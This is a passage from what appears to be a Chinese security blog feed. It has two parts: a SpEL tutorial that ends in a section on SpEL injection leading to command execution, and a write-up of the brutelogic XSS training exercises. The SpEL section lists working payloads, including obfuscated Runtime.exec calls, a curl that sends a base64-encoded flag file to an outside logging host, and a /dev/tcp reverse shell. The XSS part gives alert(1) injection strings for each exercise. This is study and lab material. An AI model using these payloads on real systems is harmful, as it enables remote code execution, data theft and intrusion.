<code>Math</code>  类，我们可以像下面的示例这样使用 <code>T()</code>  运算符：</p><p t(java.lang.math)>#</p><p><code>T()</code>  运算符的结果会返回一个 <code>java.lang.Math</code>  类对象。</p><p><strong>Class expressions</strong><br>1. 类类型表达式<br> SpEL 中可以使用特定的 Java 类型，经常用来访问 Java 类型中的静态属性或静态方法，需要用 <code>T()</code>  操作符进行声明。括号中需要包含类名的全限定名，也就是包名加上类名。唯一例外的是，SpEL 内置了 <code>java.lang</code>  包下的类声明，也就是说 <code>java.lang.String</code>  可以通过 <code>T(String)</code>  访问，而不需要使用全限定名。<br>因此我们通过  <code>T()</code>  调用一个类的静态方法，它将返回一个  <code>Class Object</code> ，然后再调用相应的方法或属性:<br> 如：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ExpressionParser</span> <span class="variable">parser</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SpelExpressionParser</span>();</span><br><span class="line"><span class="type">Expression</span> <span class="variable">exp</span> <span class="operator">=</span> parser.parseExpression(<span class="string">&quot;T(java.lang.Runtime).getRuntime().exec(\&quot;open /Applications/Calculator.app\&quot;)&quot;</span>);</span><br><span class="line"><span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> exp.getValue();</span><br></pre></td></tr></table></figure></div><p>2. 类实例化<br>使用 new 可以直接在 SpEL 中创建实例，需要创建实例的类要通过全限定名进行访问。</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ExpressionParser</span> <span class="variable">parser</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SpelExpressionParser</span>();</span><br><span class="line"><span class="type">Expression</span> <span class="variable">exp</span> <span class="operator">=</span> parser.parseExpression(<span class="string">&quot;new java.util.Date()&quot;</span>);</span><br><span class="line"><span class="type">Date</span> <span class="variable">value</span> <span class="operator">=</span> (Date) exp.getValue();</span><br><span class="line">System.out.println(value);</span><br></pre></td></tr></table></figure></div><p><strong>Method invocation</strong><br> 方法使用典型的 Java 编程语法来调用。</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// string literal, evaluates to &quot;bc&quot;</span></span><br><span class="line"><span class="type">String</span> <span class="variable">c</span> <span class="operator">=</span> parser.parseExpression(<span class="string">&quot;&#x27;abc&#x27;.substring(2, 3)&quot;</span>).getValue(String.class);</span><br><span class="line"> </span><br><span class="line"><span class="comment">// evaluates to true</span></span><br><span class="line"><span class="type">boolean</span> <span class="variable">isMember</span> <span class="operator">=</span> parser.parseExpression(<span class="string">&quot;isMember(&#x27;Mihajlo Pupin&#x27;)&quot;</span>).getValue(societyContext,Boolean.class);</span><br></pre></td></tr></table></figure></div><p><strong>Calling constructors</strong><br> 可以使用 new 调用构造函数。除了基元类型和字符串（其中可以使用 int、float 等）之外，所有的类都应该使用完全限定的类名。</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Inventor</span> <span class="variable">einstein</span> <span class="operator">=</span> </span><br><span class="line">  p.parseExpression(<span class="string">&quot;new org.spring.samples.spel.inventor.Inventor(&#x27;Albert Einstein&#x27;,&#x27;German&#x27;)&quot;</span>).getValue(Inventor.class);</span><br><span class="line"> </span><br><span class="line"><span class="comment">//create new inventor instance within add method of List</span></span><br><span class="line">p.parseExpression(<span class="string">&quot;Members.add(new org.spring.samples.spel.inventor.Inventor(&#x27;Albert Einstein&#x27;, &#x27;German&#x27;))&quot;</span>).getValue(societyContext);</span><br></pre></td></tr></table></figure></div><p><strong>Bean references</strong><br> 如果解析上下文已经配置，则可以使用 <code>@</code> 符号从表达式中查找 bean。</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ExpressionParser</span> <span class="variable">parser</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SpelExpressionParser</span>();</span><br><span class="line"><span class="type">StandardEvaluationContext</span> <span class="variable">context</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StandardEvaluationContext</span>();</span><br><span class="line">context.setBeanResolver(<span class="keyword">new</span> <span class="title class_">MyBeanResolver</span>());</span><br><span class="line"></span><br><span class="line"><span class="comment">// This will end up calling resolve(context,&quot;foo&quot;) on MyBeanResolver during evaluation</span></span><br><span class="line"><span class="type">Object</span> <span class="variable">bean</span> <span class="operator">=</span> parser.parseExpression(<span class="string">&quot;@foo&quot;</span>).getValue(context);</span><br></pre></td></tr></table></figure></div><p><strong>Variables</strong><br> 变量定义通过 <code>EvaluationContext</code>  接口的 <code>setVariable(variableName, value)</code>  方法定义；在表达式中使用 <code>#variableName</code>  引用；除了引用自定义变量，<strong>SpEL 还允许引用根对象及当前上下文对象，使用 <code>#root</code>  引用根对象，使用 <code>#this</code>  引用当前上下文对象。</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ExpressionParser</span> <span class="variable">parser</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SpelExpressionParser</span>();</span><br><span class="line"><span class="type">EvaluationContext</span> <span class="variable">context</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StandardEvaluationContext</span>(<span class="string">&quot;rui0&quot;</span>);</span><br><span class="line">context.setVariable(<span class="string">&quot;variable&quot;</span>, <span class="string">&quot;ruilin&quot;</span>);</span><br><span class="line"><span class="type">String</span> <span class="variable">result1</span> <span class="operator">=</span> parser.parseExpression(<span class="string">&quot;#variable&quot;</span>).getValue(context, String.class);</span><br><span class="line">System.out.println(result1);</span><br><span class="line"> </span><br><span class="line"><span class="type">String</span> <span class="variable">result2</span> <span class="operator">=</span> parser.parseExpression(<span class="string">&quot;#root&quot;</span>).getValue(context, String.class);</span><br><span class="line">System.out.println(result2);</span><br><span class="line"><span class="type">String</span> <span class="variable">result3</span> <span class="operator">=</span> parser.parseExpression(<span class="string">&quot;#this&quot;</span>).getValue(context, String.class);</span><br><span class="line">System.out.println(result3);</span><br><span class="line">---------out------------</span><br><span class="line">ruilin</span><br><span class="line">rui0</span><br><span class="line">rui0</span><br></pre></td></tr></table></figure></div><p>在 SpEL 中比较常见的用途是针对一个特定的对象实例 (称为 root object) 提供被解析的表达式字符串，当我们把 <code>context</code>  的 <code>root object</code>  设置为一个对象时，我们在取的时候可以省略 root 对象这个前缀了。如下:<br> 首先定义一个类</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">A</span> &#123;</span><br><span class="line">    String name;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getName</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> name;</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setName</span><span class="params">(String name)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">A</span><span class="params">(String name)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.name = name;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>设置 <code>root object</code>  后 SpEL 执行以及结果如下</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">A a=<span class="keyword">new</span> <span class="title class_">A</span>(<span class="string">&quot;ruilin&quot;</span>);</span><br><span class="line"><span class="type">ExpressionParser</span> <span class="variable">parser</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SpelExpressionParser</span>();</span><br><span class="line"><span class="type">Expression</span> <span class="variable">exp</span> <span class="operator">=</span> parser.parseExpression(<span class="string">&quot;name&quot;</span>);</span><br><span class="line"><span class="type">EvaluationContext</span> <span class="variable">context</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StandardEvaluationContext</span>(a);</span><br><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> (String) exp.getValue(context);</span><br><span class="line">System.out.println(name);</span><br><span class="line">exp.setValue(context,<span class="string">&quot;ruilin setValue&quot;</span>);</span><br><span class="line">name = (String) exp.getValue(context);</span><br><span class="line">System.out.println(name);</span><br><span class="line">System.out.println(a.getName());</span><br><span class="line">---------out------------</span><br><span class="line">ruilin</span><br><span class="line">ruilin setValue</span><br><span class="line">ruilin setValue</span><br></pre></td></tr></table></figure></div><p>这里在执行表达式时，SpEL 会在内部使用反射从根对象中获取 / 设置属性的值。</p><p><strong>User defined functions</strong><br> 用户可以在 SpEL 注册自定义的方法，将该方法注册到 <code>StandardEvaluationContext</code>  中的 <code>registerFunction(String name, Method m)</code>  方法。<br>如：<br>我们通过 JAVA 提供的接口实现字符串反转的方法。</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">abstract</span> <span class="keyword">class</span> <span class="title class_">StringUtils</span> &#123;</span><br><span class="line"> </span><br><span class="line">  <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">reverseString</span><span class="params">(String input)</span> &#123;</span><br><span class="line">    <span class="type">StringBuilder</span> <span class="variable">backwards</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; input.length(); i++) </span><br><span class="line">      backwards.append(input.charAt(input.length() - <span class="number">1</span> - i));</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> backwards.toString();</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>我们可以通过如下代码将方法注册到 <code>StandardEvaluationContext</code>  并且来使用它</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ExpressionParser</span> <span class="variable">parser</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SpelExpressionParser</span>();</span><br><span class="line"><span class="type">StandardEvaluationContext</span> <span class="variable">context</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StandardEvaluationContext</span>();</span><br><span class="line">context.registerFunction(<span class="string">&quot;reverseString&quot;</span>, </span><br><span class="line">                         StringUtils.class.getDeclaredMethod(<span class="string">&quot;reverseString&quot;</span>, </span><br><span class="line">                                                             <span class="keyword">new</span> <span class="title class_">Class</span>[] &#123; String.class &#125;));</span><br><span class="line"><span class="type">String</span> <span class="variable">helloWorldReversed</span> <span class="operator">=</span> </span><br><span class="line">          parser.parseExpression(<span class="string">&quot;#reverseString(&#x27;hello&#x27;)&quot;</span>).getValue(context, String.class);</span><br></pre></td></tr></table></figure></div><p><strong>Templated expressions</strong><br> 表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。当然，常见的选择是使用 <code>＃&#123;&#125;</code>  作为分隔符。<br>如:</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">randomPhrase</span> <span class="operator">=</span> parser.parseExpression(</span><br><span class="line">        <span class="string">&quot;random number is #&#123;T(java.lang.Math).random()&#125;&quot;</span>,</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">TemplateParserContext</span>()).getValue(String.class);</span><br><span class="line"><span class="comment">//evaluates to &quot;random number is 0.703101106101103120010&quot;</span></span><br></pre></td></tr></table></figure></div><p>该字符串是通过连接文字”random number is” 与 计算表达式的 <code>＃&#123;&#125;</code>  定界符获取的结果，在此情况下的结果 中调用一个随机 () 方法。第二个参数的方法 <code>parseExpression()</code>  是类型 <code>ParserContext</code>  的。在 <code>ParserContext</code>  接口用于影响如何 表达被解析，以便支持所述表达模板的功能。的 <code>TemplateParserContext</code>  的定义如下所示。</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TemplateParserContext</span> <span class="keyword">implements</span> <span class="title class_">ParserContext</span> &#123;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getExpressionPrefix</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;#&#123;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getExpressionSuffix</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;&#125;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isTemplate</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h4 id="spel导致的任意命令执行"><a class="markdownIt-Anchor" href="#spel导致的任意命令执行">#</a> SpEL 导致的任意命令执行</h4><p>从上方功能的类类型表达式示例中，我们可以看到成功执行了系统的命令，而这也就是整个 SpEL 安全中造成 RCE 漏洞的区域。因为在不指定 <code>EvaluationContext</code>  的情况下默认采用的是 <code>StandardEvaluationContext</code> ，而它包含了 SpEL 的所有功能，在允许用户控制输入的情况下可以成功造成任意命令执行。</p><p>其中容易造成漏洞的两个位置是<br> 1. 针对一个特定的对象实例提供被解析的表达式字符串<br>如之前用法示例中<strong> Variables</strong> 所介绍，可能造成指定属性名被构造成恶意代码<br> 2. 双重 EL 表达式评估</p><p><strong>常用 payload</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$&#123;<span class="number">12</span>*<span class="number">12</span>&#125;</span><br><span class="line">T(java.lang.Runtime).getRuntime().exec(<span class="string">&quot;nslookup a.com&quot;</span>)</span><br><span class="line">T(Thread).sleep(<span class="number">10000</span>)</span><br><span class="line">#<span class="built_in">this</span>.getClass().forName(<span class="string">&#x27;java.lang.Runtime&#x27;</span>).getRuntime().exec(<span class="string">&#x27;nslookup a.com&#x27;</span>)</span><br><span class="line"><span class="keyword">new</span> <span class="title class_">java</span>.lang.ProcessBuilder(&#123;<span class="string">&#x27;nslookup a.com&#x27;</span>&#125;).start()</span><br></pre></td></tr></table></figure></div><p>1. 利用反射构造</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">#&#123;T(String).getClass().forName(<span class="string">&quot;java.l&quot;</span>+<span class="string">&quot;ang.Ru&quot;</span>+<span class="string">&quot;ntime&quot;</span>)</span><br><span class="line">    .getMethod(<span class="string">&quot;ex&quot;</span>+<span class="string">&quot;ec&quot;</span>,T(String[])).invoke(T(String).getClass().forName(<span class="string">&quot;java.l&quot;</span>+<span class="string">&quot;ang.Ru&quot;</span>+<span class="string">&quot;ntime&quot;</span>)</span><br><span class="line">        .getMethod(<span class="string">&quot;getRu&quot;</span>+<span class="string">&quot;ntime&quot;</span>).invoke(T(String).getClass().forName(<span class="string">&quot;java.l&quot;</span>+<span class="string">&quot;ang.Ru&quot;</span>+<span class="string">&quot;ntime&quot;</span>)),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;/bin/bash&quot;</span>,<span class="string">&quot;-c&quot;</span>,<span class="string">&quot;curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr &#x27;\n&#x27; &#x27;-&#x27;`&quot;</span>&#125;)&#125;</span><br></pre></td></tr></table></figure></div><p>2. 利用 ScriptEngineManager 构造</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">#&#123;T(javax.script.ScriptEngineManager).newInstance()</span><br><span class="line">    .getEngineByName(<span class="string">&quot;nashorn&quot;</span>)</span><br><span class="line">        .eval(<span class="string">&quot;s=[3];s[0]=&#x27;/bin/bash&#x27;;s[1]=&#x27;-c&#x27;;s[2]=&#x27;ex&quot;</span>+<span class="string">&quot;ec 5&lt;&gt;/dev/tcp/1.2.3.4/2333;cat &lt;&amp;5 | while read line; do $line 2&gt;&amp;5 &gt;&amp;5; done&#x27;;java.la&quot;</span>+<span class="string">&quot;ng.Run&quot;</span>+<span class="string">&quot;time.getRu&quot;</span>+<span class="string">&quot;ntime().ex&quot;</span>+<span class="string">&quot;ec(s);&quot;</span>)&#125;</span><br></pre></td></tr></table></figure></div>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;javasec靶场&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#javasec靶场&quot;&gt;#&lt;/a&gt; JavaSec 靶场&lt;/h2&gt;
&lt;p&gt;&lt;img lazyload src=&quot;/images/loading.svg&quot; data-src=</summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>brutelogic-XSS WP</title>
    <link href="http://example.com/2024/09/06/brutelogic-XSS-WP/"/>
    <id>http://example.com/2024/09/06/brutelogic-XSS-WP/</id>
    <published>2024-09-06T05:23:31.000Z</published>
    <updated>2024-09-06T16:13:49.689Z</updated>
    
    <content type="html"><![CDATA[<h2 id="靶场解题"><a class="markdownIt-Anchor" href="#靶场解题">#</a> 靶场解题</h2><p>靶场：<a class="link" href="https://brutelogic.com.br/blog/training-xss-muscles/">Training XSS Muscles - Brute XSS (brutelogic.com.br) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="exercise-01"><a class="markdownIt-Anchor" href="#exercise-01">#</a> Exercise 01</h3><p>打开是输入框</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061325466.png" alt="image-20240906132544417"></p><p>随便输入一点东西然后查看源代码找输入的地方</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061333044.png" alt="image-20240906133312022"></p><p>把 <code>title</code>  闭合了</p><p>payload: <code>xxxxx&lt;/title&gt;&lt;svg/onload=alert(1)&gt;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061334570.png" alt="image-20240906133414541"></p><h3 id="exercise-02"><a class="markdownIt-Anchor" href="#exercise-02">#</a> Exercise 02</h3><p>老样子</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061338712.png" alt="12131312313123"></p><p>闭合前面的，构造 payload： <code>&lt;/noscript&gt;&lt;svg/onload=alert(1)&gt;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061338556.png" alt="image-20240906133854533"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061339450.png" alt="image-20240906133921416"></p><h3 id="exercise-03"><a class="markdownIt-Anchor" href="#exercise-03">#</a> Exercise 03</h3><p>还是闭合！</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061342917.png" alt="image-20240906134224873"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061342457.png" alt="image-20240906134207419"></p><h3 id="exercise-04"><a class="markdownIt-Anchor" href="#exercise-04">#</a> Exercise 04</h3><p>参数在属性里面</p><p>测试一下过滤的符号：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061349624.png" alt="image-20240906134939592"></p><p>只剩 &lt;&gt; 没被过滤</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061351434.png" alt="image-20240906135101408"></p><p>也没有 url 解码</p><p>考虑构造 <code>'-alert()-'</code> ，尝试编码</p><p>对‘进行 html 编码：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061355289.png" alt="image-20240906135502249"></p><p>&amp; 和 #在 url 里有特殊含义，在进行 url 编码：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061355284.png" alt="image-20240906135545250"></p><p>payload： <code>%26%23x27-alert(1)-%26%23x27</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061356075.png" alt="image-20240906135625048"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061358817.png" alt="image-20240906135829788"></p><p>官方答案： <code> %26apos;-alert(1)-%26apos;</code></p><h3 id="exercise-05"><a class="markdownIt-Anchor" href="#exercise-05">#</a> Exercise 05</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061535681.png" alt="image-20240906153542652"></p><p>这个在文本里</p><p>闭合 h1，payload： <code>Gymxxxx&lt;/h1&gt;&lt;svg/onload=alert(1)&gt;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061537884.png" alt="image-20240906153725855"></p><p>emmmm 不闭合也行</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061538522.png" alt="image-20240906153822493"></p><h3 id="exercise-06"><a class="markdownIt-Anchor" href="#exercise-06">#</a> Exercise 06</h3><p>在 value 里</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061539536.png" alt="image-20240906153954501"></p><p>&quot; 和 &gt; 都没被过滤，直接闭合</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061541586.png" alt="image-20240906154124552"></p><h3 id="exercise-07"><a class="markdownIt-Anchor" href="#exercise-07">#</a> Exercise 07</h3><p>跟上一题一样，只是 &quot; 变成了’</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061544871.png" alt="image-20240906154429842"></p><h3 id="exercise-08"><a class="markdownIt-Anchor" href="#exercise-08">#</a> Exercise 08</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061551149.png" alt="image-20240906155159124"></p><p><code>&gt;</code>  被转义了</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061559053.png" alt="image-20240906155922020"></p><p>payload： <code> &quot;autofocus/onfocus=&quot;alert(1)</code></p><ul><li><strong> <code>autofocus</code> </strong>: HTML 属性，用于自动将焦点设置到页面加载时的指定输入字段或元素上。</li><li><strong> <code>onfocus</code> </strong>: HTML 元素的一个事件处理属性，当元素获得焦点时（比如，用户点击输入框），触发后面的 JavaScript 代码。</li></ul><h3 id="exercise-09"><a class="markdownIt-Anchor" href="#exercise-09">#</a> Exercise 09</h3><p>跟上面同理</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061603356.png" alt="image-20240906160319325"></p><h3 id="exercise-10"><a class="markdownIt-Anchor" href="#exercise-10">#</a> Exercise 10</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061605204.png" alt="image-20240906160537179"></p><p>可以闭合</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061605985.png" alt="image-20240906160524955"></p><h3 id="exercise-11"><a class="markdownIt-Anchor" href="#exercise-11">#</a> Exercise 11</h3><p>payload： <code>&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061608871.png" alt="image-20240906160836839"></p><h3 id="exercise-12"><a class="markdownIt-Anchor" href="#exercise-12">#</a> Exercise 12</h3><p>跟上题一样</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061610155.png" alt="image-20240906161029123"></p><h3 id="exercise-13"><a class="markdownIt-Anchor" href="#exercise-13">#</a> Exercise 13</h3><p>单引号闭合</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061614155.png" alt="image-20240906161453112"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061613645.png" alt="image-20240906161342615"></p><h3 id="exercise-14"><a class="markdownIt-Anchor" href="#exercise-14">#</a> Exercise 14</h3><p>跟上面一样，但是是用双引号闭合</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061617460.png" alt="image-20240906161711427"></p><h3 id="exercise-15"><a class="markdownIt-Anchor" href="#exercise-15">#</a> Exercise 15</h3><p>继续用 13 题的 payload，发现单引号被转义</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061618798.png" alt="image-20240906161838766"></p><p>使用转义逃逸</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061619507.png" alt="image-20240906161930475"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061622286.png" alt="image-20240906162220253"></p><h3 id="exercise-16"><a class="markdownIt-Anchor" href="#exercise-16">#</a> Exercise 16</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061622835.png" alt="image-20240906162253773"></p><p>跟上面一样</p><h3 id="exercise-17"><a class="markdownIt-Anchor" href="#exercise-17">#</a> Exercise 17</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061626088.png" alt="image-20240906162649055"></p><p><code>' &quot; &lt; &gt;</code>  竟然都没被转义</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061627780.png" alt="image-20240906162734750"></p><h3 id="exercise-18"><a class="markdownIt-Anchor" 